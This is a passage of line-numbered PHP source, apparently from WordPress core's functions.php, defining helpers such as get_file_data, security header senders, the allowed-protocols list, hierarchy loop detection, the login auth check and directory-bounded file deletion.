6909 foreach ( (array) $comments_to_delete as $comment ) {
6910 $comment_id = (int) $comment['comment_id'];
6911 if ( ! $comment_id ) {
6912 continue;
6913 }
6914
6915 $del_comment = get_comment( $comment_id );
6916
6917 if ( ! $del_comment || 'trash' !== $del_comment->comment_approved ) {
6918 delete_comment_meta( $comment_id, '_wp_trash_meta_time' );
6919 delete_comment_meta( $comment_id, '_wp_trash_meta_status' );
6920 } else {
6921 wp_delete_comment( $del_comment );
6922 }
6923 }
6924}
6925
6926/**
6927 * Retrieves metadata from a file.
6928 *
6929 * Searches for metadata in the first 8 KB of a file, such as a plugin or theme.
6930 * Each piece of metadata must be on its own line. Fields can not span multiple
6931 * lines, the value will get cut at the end of the first line.
6932 *
6933 * If the file data is not within that first 8 KB, then the author should correct
6934 * their plugin file and move the data headers to the top.
6935 *
6936 * @link https://codex.wordpress.org/File_Header
6937 *
6938 * @since 2.9.0
6939 *
6940 * @param string $file Absolute path to the file.
6941 * @param array $default_headers List of headers, in the format `array( 'HeaderKey' => 'Header Name' )`.
6942 * @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}.
6943 * Default empty string.
6944 * @return string[] Array of file header values keyed by header name.
6945 */
6946function get_file_data( $file, $default_headers, $context = '' ) {
6947 // Pull only the first 8 KB of the file in.
6948 $file_data = file_get_contents( $file, false, null, 0, 8 * KB_IN_BYTES );
6949
6950 if ( false === $file_data ) {
6951 $file_data = '';
6952 }
6953
6954 // Make sure we catch CR-only line endings.
6955 $file_data = str_replace( "\r", "\n", $file_data );
6956
6957 /**
6958 * Filters extra file headers by context.
6959 *
6960 * The dynamic portion of the hook name, `$context`, refers to
6961 * the context where extra headers might be loaded.
6962 *
6963 * @since 2.9.0
6964 *
6965 * @param array $extra_context_headers Empty array by default.
6966 */
6967 $extra_headers = $context ? apply_filters( "extra_{$context}_headers", array() ) : array();
6968 if ( $extra_headers ) {
6969 $extra_headers = array_combine( $extra_headers, $extra_headers ); // Keys equal values.
6970 $all_headers = array_merge( $extra_headers, (array) $default_headers );
6971 } else {
6972 $all_headers = $default_headers;
6973 }
6974
6975 foreach ( $all_headers as $field => $regex ) {
6976 if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] ) {
6977 $all_headers[ $field ] = _cleanup_header_comment( $match[1] );
6978 } else {
6979 $all_headers[ $field ] = '';
6980 }
6981 }
6982
6983 return $all_headers;
6984}
6985
6986/**
6987 * Returns true.
6988 *
6989 * Useful for returning true to filters easily.
6990 *
6991 * @since 3.0.0
6992 *
6993 * @see __return_false()
6994 *
6995 * @return true True.
6996 */
6997function __return_true() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
6998 return true;
6999}
7000
7001/**
7002 * Returns false.
7003 *
7004 * Useful for returning false to filters easily.
7005 *
7006 * @since 3.0.0
7007 *
7008 * @see __return_true()
7009 *
7010 * @return false False.
7011 */
7012function __return_false() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
7013 return false;
7014}
7015
7016/**
7017 * Returns 0.
7018 *
7019 * Useful for returning 0 to filters easily.
7020 *
7021 * @since 3.0.0
7022 *
7023 * @return int 0.
7024 */
7025function __return_zero() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
7026 return 0;
7027}
7028
7029/**
7030 * Returns an empty array.
7031 *
7032 * Useful for returning an empty array to filters easily.
7033 *
7034 * @since 3.0.0
7035 *
7036 * @return array Empty array.
7037 */
7038function __return_empty_array() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
7039 return array();
7040}
7041
7042/**
7043 * Returns null.
7044 *
7045 * Useful for returning null to filters easily.
7046 *
7047 * @since 3.4.0
7048 *
7049 * @return null Null value.
7050 */
7051function __return_null() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
7052 return null;
7053}
7054
7055/**
7056 * Returns an empty string.
7057 *
7058 * Useful for returning an empty string to filters easily.
7059 *
7060 * @since 3.7.0
7061 *
7062 * @see __return_null()
7063 *
7064 * @return string Empty string.
7065 */
7066function __return_empty_string() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
7067 return '';
7068}
7069
7070/**
7071 * Sends a HTTP header to disable content type sniffing in browsers which support it.
7072 *
7073 * @since 3.0.0
7074 *
7075 * @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx
7076 * @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985
7077 */
7078function send_nosniff_header() {
7079 header( 'X-Content-Type-Options: nosniff' );
7080}
7081
7082/**
7083 * Returns a MySQL expression for selecting the week number based on the start_of_week option.
7084 *
7085 * @ignore
7086 * @since 3.0.0
7087 *
7088 * @param string $column Database column.
7089 * @return string SQL clause.
7090 */
7091function _wp_mysql_week( $column ) {
7092 $start_of_week = (int) get_option( 'start_of_week' );
7093 switch ( $start_of_week ) {
7094 case 1:
7095 return "WEEK( $column, 1 )";
7096 case 2:
7097 case 3:
7098 case 4:
7099 case 5:
7100 case 6:
7101 return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )";
7102 case 0:
7103 default:
7104 return "WEEK( $column, 0 )";
7105 }
7106}
7107
7108/**
7109 * Finds hierarchy loops using a callback function that maps object IDs to parent IDs.
7110 *
7111 * @since 3.1.0
7112 * @access private
7113 *
7114 * @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID.
7115 * @param int $start The ID to start the loop check at.
7116 * @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ).
7117 * Use null to always use $callback.
7118 * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array.
7119 * @return array IDs of all members of loop.
7120 */
7121function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) {
7122 $override = is_null( $start_parent ) ? array() : array( $start => $start_parent );
7123
7124 $arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args );
7125 if ( ! $arbitrary_loop_member ) {
7126 return array();
7127 }
7128
7129 return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true );
7130}
7131
7132/**
7133 * Uses the "The Tortoise and the Hare" algorithm to detect loops.
7134 *
7135 * For every step of the algorithm, the hare takes two steps and the tortoise one.
7136 * If the hare ever laps the tortoise, there must be a loop.
7137 *
7138 * @since 3.1.0
7139 * @access private
7140 *
7141 * @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID.
7142 * @param int $start The ID to start the loop check at.
7143 * @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback.
7144 * Default empty array.
7145 * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array.
7146 * @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set
7147 * to true if you already know the given $start is part of a loop (otherwise
7148 * the returned array might include branches). Default false.
7149 * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if
7150 * $_return_loop
7151 */
7152function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) {
7153 $tortoise = $start;
7154 $hare = $start;
7155 $evanescent_hare = $start;
7156 $return = array();
7157
7158 // Set evanescent_hare to one past hare. Increment hare two steps.
7159 while (
7160 $tortoise
7161 &&
7162 ( $evanescent_hare = $override[ $hare ] ?? call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) )
7163 &&
7164 ( $hare = $override[ $evanescent_hare ] ?? call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) )
7165 ) {
7166 if ( $_return_loop ) {
7167 $return[ $tortoise ] = true;
7168 $return[ $evanescent_hare ] = true;
7169 $return[ $hare ] = true;
7170 }
7171
7172 // Tortoise got lapped - must be a loop.
7173 if ( $tortoise === $evanescent_hare || $tortoise === $hare ) {
7174 return $_return_loop ? $return : $tortoise;
7175 }
7176
7177 // Increment tortoise by one step.
7178 $tortoise = $override[ $tortoise ] ?? call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) );
7179 }
7180
7181 return false;
7182}
7183
7184/**
7185 * Sends a HTTP header to limit rendering of pages to same origin iframes.
7186 *
7187 * @since 3.1.3
7188 *
7189 * @see https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Frame-Options
7190 * @see https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/frame-ancestors
7191 */
7192function send_frame_options_header() {
7193 if ( ! headers_sent() ) {
7194 header( 'X-Frame-Options: SAMEORIGIN' );
7195 header( "Content-Security-Policy: frame-ancestors 'self';" );
7196 }
7197}
7198
7199/**
7200 * Sends a referrer policy header so referrers are not sent externally from administration screens.
7201 *
7202 * @since 4.9.0
7203 * @since 6.8.0 This function was moved from `wp-admin/includes/misc.php` to `wp-includes/functions.php`.
7204 */
7205function wp_admin_headers() {
7206 $policy = 'strict-origin-when-cross-origin';
7207
7208 /**
7209 * Filters the admin referrer policy header value.
7210 *
7211 * @since 4.9.0
7212 * @since 4.9.5 The default value was changed to 'strict-origin-when-cross-origin'.
7213 *
7214 * @link https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy
7215 *
7216 * @param string $policy The admin referrer policy header value. Default 'strict-origin-when-cross-origin'.
7217 */
7218 $policy = apply_filters( 'admin_referrer_policy', $policy );
7219
7220 header( sprintf( 'Referrer-Policy: %s', $policy ) );
7221}
7222
7223/**
7224 * Retrieves a list of protocols to allow in HTML attributes.
7225 *
7226 * @since 3.3.0
7227 * @since 4.3.0 Added 'webcal' to the protocols array.
7228 * @since 4.7.0 Added 'urn' to the protocols array.
7229 * @since 5.3.0 Added 'sms' to the protocols array.
7230 * @since 5.6.0 Added 'irc6' and 'ircs' to the protocols array.
7231 *
7232 * @see wp_kses()
7233 * @see esc_url()
7234 *
7235 * @return string[] Array of allowed protocols. Defaults to an array containing 'http', 'https',
7236 * 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed',
7237 * 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'.
7238 * This covers all common link protocols, except for 'javascript' which should not
7239 * be allowed for untrusted users.
7240 */
7241function wp_allowed_protocols() {
7242 static $protocols = array();
7243
7244 if ( empty( $protocols ) ) {
7245 $protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' );
7246 }
7247
7248 if ( ! did_action( 'wp_loaded' ) ) {
7249 /**
7250 * Filters the list of protocols allowed in HTML attributes.
7251 *
7252 * @since 3.0.0
7253 *
7254 * @param string[] $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more.
7255 */
7256 $protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) );
7257 }
7258
7259 return $protocols;
7260}
7261
7262/**
7263 * Returns a comma-separated string or array of functions that have been called to get
7264 * to the current point in code.
7265 *
7266 * @since 3.4.0
7267 *
7268 * @see https://core.trac.wordpress.org/ticket/19589
7269 *
7270 * @param string $ignore_class Optional. A class to ignore all function calls within - useful
7271 * when you want to just give info about the callee. Default null.
7272 * @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding
7273 * back to the source of the issue. Default 0.
7274 * @param bool $pretty Optional. Whether you want a comma separated string instead of
7275 * the raw array returned. Default true.
7276 * @return string|array Either a string containing a reversed comma separated trace or an array
7277 * of individual calls.
7278 */
7279function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) {
7280 static $truncate_paths;
7281
7282 $trace = debug_backtrace( false );
7283 $caller = array();
7284 $check_class = ! is_null( $ignore_class );
7285 ++$skip_frames; // Skip this function.
7286
7287 if ( ! isset( $truncate_paths ) ) {
7288 $truncate_paths = array(
7289 wp_normalize_path( WP_CONTENT_DIR ),
7290 wp_normalize_path( ABSPATH ),
7291 );
7292 }
7293
7294 foreach ( $trace as $call ) {
7295 if ( $skip_frames > 0 ) {
7296 --$skip_frames;
7297 } elseif ( isset( $call['class'] ) ) {
7298 if ( $check_class && $ignore_class === $call['class'] ) {
7299 continue; // Filter out calls.
7300 }
7301
7302 $caller[] = "{$call['class']}{$call['type']}{$call['function']}";
7303 } else {
7304 if ( in_array( $call['function'], array( 'do_action', 'apply_filters', 'do_action_ref_array', 'apply_filters_ref_array' ), true ) ) {
7305 $caller[] = "{$call['function']}('{$call['args'][0]}')";
7306 } elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ), true ) ) {
7307 $filename = $call['args'][0] ?? '';
7308 $caller[] = $call['function'] . "('" . str_replace( $truncate_paths, '', wp_normalize_path( $filename ) ) . "')";
7309 } else {
7310 $caller[] = $call['function'];
7311 }
7312 }
7313 }
7314 if ( $pretty ) {
7315 return implode( ', ', array_reverse( $caller ) );
7316 } else {
7317 return $caller;
7318 }
7319}
7320
7321/**
7322 * Retrieves IDs that are not already present in the cache.
7323 *
7324 * @since 3.4.0
7325 * @since 6.1.0 This function is no longer marked as "private".
7326 *
7327 * @param int[] $object_ids Array of IDs.
7328 * @param string $cache_group The cache group to check against.
7329 * @return int[] Array of IDs not present in the cache.
7330 */
7331function _get_non_cached_ids( $object_ids, $cache_group ) {
7332 $object_ids = array_filter( $object_ids, '_validate_cache_id' );
7333 $object_ids = array_unique( array_map( 'intval', $object_ids ), SORT_NUMERIC );
7334
7335 if ( empty( $object_ids ) ) {
7336 return array();
7337 }
7338
7339 $non_cached_ids = array();
7340 $cache_values = wp_cache_get_multiple( $object_ids, $cache_group );
7341
7342 foreach ( $cache_values as $id => $value ) {
7343 if ( false === $value ) {
7344 $non_cached_ids[] = (int) $id;
7345 }
7346 }
7347
7348 return $non_cached_ids;
7349}
7350
7351/**
7352 * Checks whether the given cache ID is either an integer or an integer-like string.
7353 *
7354 * Both `16` and `"16"` are considered valid, other numeric types and numeric strings
7355 * (`16.3` and `"16.3"`) are considered invalid.
7356 *
7357 * @since 6.3.0
7358 *
7359 * @param mixed $object_id The cache ID to validate.
7360 * @return bool Whether the given $object_id is a valid cache ID.
7361 */
7362function _validate_cache_id( $object_id ) {
7363 /*
7364 * filter_var() could be used here, but the `filter` PHP extension
7365 * is considered optional and may not be available.
7366 */
7367 if ( is_int( $object_id )
7368 || ( is_string( $object_id ) && (string) (int) $object_id === $object_id ) ) {
7369 return true;
7370 }
7371
7372 /* translators: %s: The type of the given object ID. */
7373 $message = sprintf( __( 'Object ID must be an integer, %s given.' ), gettype( $object_id ) );
7374 _doing_it_wrong( '_get_non_cached_ids', $message, '6.3.0' );
7375
7376 return false;
7377}
7378
7379/**
7380 * Tests if the current device has the capability to upload files.
7381 *
7382 * @since 3.4.0
7383 * @access private
7384 *
7385 * @return bool Whether the device is able to upload files.
7386 */
7387function _device_can_upload() {
7388 if ( ! wp_is_mobile() ) {
7389 return true;
7390 }
7391
7392 $ua = $_SERVER['HTTP_USER_AGENT'];
7393
7394 if ( str_contains( $ua, 'iPhone' )
7395 || str_contains( $ua, 'iPad' )
7396 || str_contains( $ua, 'iPod' ) ) {
7397 return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' );
7398 }
7399
7400 return true;
7401}
7402
7403/**
7404 * Tests if a given path is a stream URL
7405 *
7406 * @since 3.5.0
7407 *
7408 * @param string $path The resource path or URL.
7409 * @return bool True if the path is a stream URL.
7410 */
7411function wp_is_stream( $path ) {
7412 $scheme_separator = strpos( $path, '://' );
7413
7414 if ( false === $scheme_separator ) {
7415 // $path isn't a stream.
7416 return false;
7417 }
7418
7419 $stream = substr( $path, 0, $scheme_separator );
7420
7421 return in_array( $stream, stream_get_wrappers(), true );
7422}
7423
7424/**
7425 * Tests if the supplied date is valid for the Gregorian calendar.
7426 *
7427 * @since 3.5.0
7428 *
7429 * @link https://www.php.net/manual/en/function.checkdate.php
7430 *
7431 * @param int $month Month number.
7432 * @param int $day Day number.
7433 * @param int $year Year number.
7434 * @param string $source_date The date to filter.
7435 * @return bool True if valid date, false if not valid date.
7436 */
7437function wp_checkdate( $month, $day, $year, $source_date ) {
7438 $checkdate = false;
7439 if ( is_numeric( $month ) && is_numeric( $day ) && is_numeric( $year ) ) {
7440 $checkdate = checkdate( (int) $month, (int) $day, (int) $year );
7441 }
7442
7443 /**
7444 * Filters whether the given date is valid for the Gregorian calendar.
7445 *
7446 * @since 3.5.0
7447 *
7448 * @param bool $checkdate Whether the given date is valid.
7449 * @param string $source_date Date to check.
7450 */
7451 return apply_filters( 'wp_checkdate', $checkdate, $source_date );
7452}
7453
7454/**
7455 * Loads the auth check for monitoring whether the user is still logged in.
7456 *
7457 * Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );
7458 *
7459 * This is disabled for certain screens where a login screen could cause an
7460 * inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used
7461 * for fine-grained control.
7462 *
7463 * @since 3.6.0
7464 */
7465function wp_auth_check_load() {
7466 if ( ! is_admin() && ! is_user_logged_in() ) {
7467 return;
7468 }
7469
7470 if ( defined( 'IFRAME_REQUEST' ) ) {
7471 return;
7472 }
7473
7474 $screen = get_current_screen();
7475 $hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' );
7476 $show = ! in_array( $screen->id, $hidden, true );
7477
7478 /**
7479 * Filters whether to load the authentication check.
7480 *
7481 * Returning a falsey value from the filter will effectively short-circuit
7482 * loading the authentication check.
7483 *
7484 * @since 3.6.0
7485 *
7486 * @param bool $show Whether to load the authentication check.
7487 * @param WP_Screen $screen The current screen object.
7488 */
7489 if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) {
7490 wp_enqueue_style( 'wp-auth-check' );
7491 wp_enqueue_script( 'wp-auth-check' );
7492
7493 add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 );
7494 add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 );
7495 }
7496}
7497
7498/**
7499 * Outputs the HTML that shows the wp-login dialog when the user is no longer logged in.
7500 *
7501 * @since 3.6.0
7502 */
7503function wp_auth_check_html() {
7504 $login_url = wp_login_url();
7505 $current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'];
7506 $same_domain = str_starts_with( $login_url, $current_domain );
7507
7508 /**
7509 * Filters whether the authentication check originated at the same domain.
7510 *
7511 * @since 3.6.0
7512 *
7513 * @param bool $same_domain Whether the authentication check originated at the same domain.
7514 */
7515 $same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain );
7516 $wrap_class = $same_domain ? 'hidden' : 'hidden fallback';
7517
7518 ?>
7519 <div id="wp-auth-check-wrap" class="<?php echo $wrap_class; ?>">
7520 <div id="wp-auth-check-bg"></div>
7521 <div id="wp-auth-check">
7522 <button type="button" class="wp-auth-check-close button-link"><span class="screen-reader-text">
7523 <?php
7524 /* translators: Hidden accessibility text. */
7525 _e( 'Close dialog' );
7526 ?>
7527 </span></button>
7528 <?php
7529
7530 if ( $same_domain ) {
7531 $login_src = add_query_arg(
7532 array(
7533 'interim-login' => '1',
7534 'wp_lang' => get_user_locale(),
7535 ),
7536 $login_url
7537 );
7538 ?>
7539 <div id="wp-auth-check-form" class="loading" data-src="<?php echo esc_url( $login_src ); ?>"></div>
7540 <?php
7541 }
7542
7543 ?>
7544 <div class="wp-auth-fallback">
7545 <p><b class="wp-auth-fallback-expired" tabindex="0"><?php _e( 'Session expired' ); ?></b></p>
7546 <p><a href="<?php echo esc_url( $login_url ); ?>" target="_blank"><?php _e( 'Please log in again.' ); ?></a>
7547 <?php _e( 'The login page will open in a new tab. After logging in you can close it and return to this page.' ); ?></p>
7548 </div>
7549 </div>
7550 </div>
7551 <?php
7552}
7553
7554/**
7555 * Checks whether a user is still logged in, for the heartbeat.
7556 *
7557 * Send a result that shows a log-in box if the user is no longer logged in,
7558 * or if their cookie is within the grace period.
7559 *
7560 * @since 3.6.0
7561 *
7562 * @global int $login_grace_period
7563 *
7564 * @param array $response The Heartbeat response.
7565 * @return array The Heartbeat response with 'wp-auth-check' value set.
7566 */
7567function wp_auth_check( $response ) {
7568 $response['wp-auth-check'] = is_user_logged_in() && empty( $GLOBALS['login_grace_period'] );
7569 return $response;
7570}
7571
7572/**
7573 * Returns RegEx body to liberally match an opening HTML tag.
7574 *
7575 * Matches an opening HTML tag that:
7576 * 1. Is self-closing or
7577 * 2. Has no body but has a closing tag of the same name or
7578 * 3. Contains a body and a closing tag of the same name
7579 *
7580 * Note: this RegEx does not balance inner tags and does not attempt
7581 * to produce valid HTML
7582 *
7583 * @since 3.6.0
7584 *
7585 * @param string $tag An HTML tag name. Example: 'video'.
7586 * @return string Tag RegEx.
7587 */
7588function get_tag_regex( $tag ) {
7589 if ( empty( $tag ) ) {
7590 return '';
7591 }
7592 return sprintf( '<%1$s[^<]*(?:>[\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) );
7593}
7594
7595/**
7596 * Indicates if a given slug for a character set represents the UTF-8
7597 * text encoding. If not provided, examines the current blog's charset.
7598 *
7599 * A charset is considered to represent UTF-8 if it is a case-insensitive
7600 * match of "UTF-8" with or without the hyphen.
7601 *
7602 * Example:
7603 *
7604 * true === is_utf8_charset( 'UTF-8' );
7605 * true === is_utf8_charset( 'utf8' );
7606 * false === is_utf8_charset( 'latin1' );
7607 * false === is_utf8_charset( 'UTF 8' );
7608 *
7609 * // Only strings match.
7610 * false === is_utf8_charset( [ 'charset' => 'utf-8' ] );
7611 *
7612 * // Without a given charset, it depends on the site option "blog_charset".
7613 * $is_utf8 = is_utf8_charset();
7614 *
7615 * @since 6.6.0
7616 * @since 6.6.1 A wrapper for _is_utf8_charset
7617 *
7618 * @see _is_utf8_charset
7619 *
7620 * @param string|null $blog_charset Optional. Slug representing a text character encoding, or "charset".
7621 * E.g. "UTF-8", "Windows-1252", "ISO-8859-1", "SJIS".
7622 * Default value is to infer from "blog_charset" option.
7623 * @return bool Whether the slug represents the UTF-8 encoding.
7624 */
7625function is_utf8_charset( $blog_charset = null ) {
7626 return _is_utf8_charset( $blog_charset ?? get_option( 'blog_charset' ) );
7627}
7628
7629/**
7630 * Retrieves a canonical form of the provided charset appropriate for passing to PHP
7631 * functions such as htmlspecialchars() and charset HTML attributes.
7632 *
7633 * @since 3.6.0
7634 * @access private
7635 *
7636 * @see https://core.trac.wordpress.org/ticket/23688
7637 *
7638 * @param string $charset A charset name, e.g. "UTF-8", "Windows-1252", "SJIS".
7639 * @return string The canonical form of the charset.
7640 */
7641function _canonical_charset( $charset ) {
7642 if ( is_utf8_charset( $charset ) ) {
7643 return 'UTF-8';
7644 }
7645
7646 /*
7647 * Normalize the ISO-8859-1 family of languages.
7648 *
7649 * This is not required for htmlspecialchars(), as it properly recognizes all of
7650 * the input character sets that here are transformed into "ISO-8859-1".
7651 *
7652 * @todo Should this entire check be removed since it's not required for the stated purpose?
7653 * @todo Should WordPress transform other potential charset equivalents, such as "latin1"?
7654 */
7655 if (
7656 ( 0 === strcasecmp( 'iso-8859-1', $charset ) ) ||
7657 ( 0 === strcasecmp( 'iso8859-1', $charset ) )
7658 ) {
7659 return 'ISO-8859-1';
7660 }
7661
7662 return $charset;
7663}
7664
7665/**
7666 * Sets the mbstring internal encoding to a binary safe encoding when func_overload
7667 * is enabled.
7668 *
7669 * When mbstring.func_overload is in use for multi-byte encodings, the results from
7670 * strlen() and similar functions respect the utf8 characters, causing binary data
7671 * to return incorrect lengths.
7672 *
7673 * This function overrides the mbstring encoding to a binary-safe encoding, and
7674 * resets it to the users expected encoding afterwards through the
7675 * `reset_mbstring_encoding` function.
7676 *
7677 * It is safe to recursively call this function, however each
7678 * `mbstring_binary_safe_encoding()` call must be followed up with an equal number
7679 * of `reset_mbstring_encoding()` calls.
7680 *
7681 * @since 3.7.0
7682 *
7683 * @see reset_mbstring_encoding()
7684 *
7685 * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding.
7686 * Default false.
7687 */
7688function mbstring_binary_safe_encoding( $reset = false ) {
7689 static $encodings = array();
7690 static $overloaded = null;
7691
7692 if ( is_null( $overloaded ) ) {
7693 if ( function_exists( 'mb_internal_encoding' )
7694 && ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
7695 ) {
7696 $overloaded = true;
7697 } else {
7698 $overloaded = false;
7699 }
7700 }
7701
7702 if ( false === $overloaded ) {
7703 return;
7704 }
7705
7706 if ( ! $reset ) {
7707 $encoding = mb_internal_encoding();
7708 array_push( $encodings, $encoding );
7709 mb_internal_encoding( 'ISO-8859-1' );
7710 }
7711
7712 if ( $reset && $encodings ) {
7713 $encoding = array_pop( $encodings );
7714 mb_internal_encoding( $encoding );
7715 }
7716}
7717
7718/**
7719 * Resets the mbstring internal encoding to a users previously set encoding.
7720 *
7721 * @see mbstring_binary_safe_encoding()
7722 *
7723 * @since 3.7.0
7724 */
7725function reset_mbstring_encoding() {
7726 mbstring_binary_safe_encoding( true );
7727}
7728
7729/**
7730 * Filters/validates a variable as a boolean.
7731 *
7732 * Alternative to `filter_var( $value, FILTER_VALIDATE_BOOLEAN )`.
7733 *
7734 * @since 4.0.0
7735 *
7736 * @param mixed $value Boolean value to validate.
7737 * @return bool Whether the value is validated.
7738 */
7739function wp_validate_boolean( $value ) {
7740 if ( is_bool( $value ) ) {
7741 return $value;
7742 }
7743
7744 if ( is_string( $value ) && 'false' === strtolower( $value ) ) {
7745 return false;
7746 }
7747
7748 return (bool) $value;
7749}
7750
7751/**
7752 * Deletes a file.
7753 *
7754 * @since 4.2.0
7755 * @since 6.7.0 A return value was added.
7756 *
7757 * @param string $file The path to the file to delete.
7758 * @return bool True on success, false on failure.
7759 */
7760function wp_delete_file( $file ) {
7761 /**
7762 * Filters the path of the file to delete.
7763 *
7764 * @since 2.1.0
7765 *
7766 * @param string $file Path to the file to delete.
7767 */
7768 $delete = apply_filters( 'wp_delete_file', $file );
7769
7770 if ( ! empty( $delete ) ) {
7771 return @unlink( $delete );
7772 }
7773
7774 return false;
7775}
7776
7777/**
7778 * Deletes a file if its path is within the given directory.
7779 *
7780 * @since 4.9.7
7781 *
7782 * @param string $file Absolute path to the file to delete.
7783 * @param string $directory Absolute path to a directory.
7784 * @return bool True on success, false on failure.
7785 */
7786function wp_delete_file_from_directory( $file, $directory ) {
7787 if ( wp_is_stream( $file ) ) {
7788 $real_file = $file;
7789 $real_directory = $directory;
7790 } else {
7791 $real_file = realpath( wp_normalize_path( $file ) );
7792 $real_directory = realpath( wp_normalize_path( $directory ) );
7793 }
7794
7795 if ( false !== $real_file ) {
7796 $real_file = wp_normalize_path( $real_file );
7797 }
7798
7799 if ( false !== $real_directory ) {
7800 $real_directory = wp_normalize_path( $real_directory );
7801 }
7802
7803 if ( false === $real_file || false === $real_directory || ! str_starts_with( $real_file, trailingslashit( $real_directory ) ) ) {
7804 return false;
7805 }
7806
7807 return wp_delete_file( $file );
7808}
7809
7810/**
7811 * Outputs a small JS snippet on preview tabs/windows to remove `window.name` when a user is navigating to another page.
7812 *
7813 * This prevents reusing the same tab for a preview when the user has navigated away.
7814 *
7815 * @since 4.3.0
7816 *
7817 * @global WP_Post $post Global post object.
7818 */
7819function wp_post_preview_js() {
7820 global $post;
7821
7822 if ( ! is_preview() || empty( $post ) ) {
7823 return;
7824 }
7825
7826 // Has to match the window name used in post_submit_meta_box().
7827 $name = 'wp-preview-' . (int) $post->ID;
7828
7829 ob_start();
7830 ?>
7831 <script>
7832 ( function() {
7833 var query = document.location.search;
7834
7835 if ( query && query.indexOf( 'preview=true' ) !== -1 ) {
7836 window.name = '<?php echo $name; ?>';
7837 }
7838
7839 if ( window.addEventListener ) {
7840 window.addEventListener( 'pagehide', function() { window.name = ''; } );
7841 }
7842 }());
7843 //# sourceURL=<?php echo rawurlencode( __FUNCTION__ ); ?>
7844 </script>
7845 <?php
7846 wp_print_inline_script_tag( wp_remove_surrounding_empty_script_tags( ob_get_clean() ) );
7847}
7848
7849/**
7850 * Parses and formats a MySQL datetime (Y-m-d H:i:s) for ISO8601 (Y-m-d\TH:i:s).
7851 *
7852 * Explicitly strips timezones, as datetimes are not saved with any timezone
7853 * information. Including any information on the offset could be misleading.
7854 *
7855 * Despite historical function name, the output does not conform to RFC3339 format,
7856 * which must contain timezone.
7857 *
7858 * @since 4.4.0
7859 *
7860 * @param string $date_string Date string to parse and format.
7861 * @return string Date formatted for ISO8601 without time zone.
7862 */
7863function mysql_to_rfc3339( $date_string ) {
7864 return mysql2date( 'Y-m-d\TH:i:s', $date_string, false );
7865}
7866
7867/**
7868 * Attempts to raise the PHP memory limit for memory intensive processes.
7869 *
7870 * Only allows raising the existing limit and prevents lowering it.
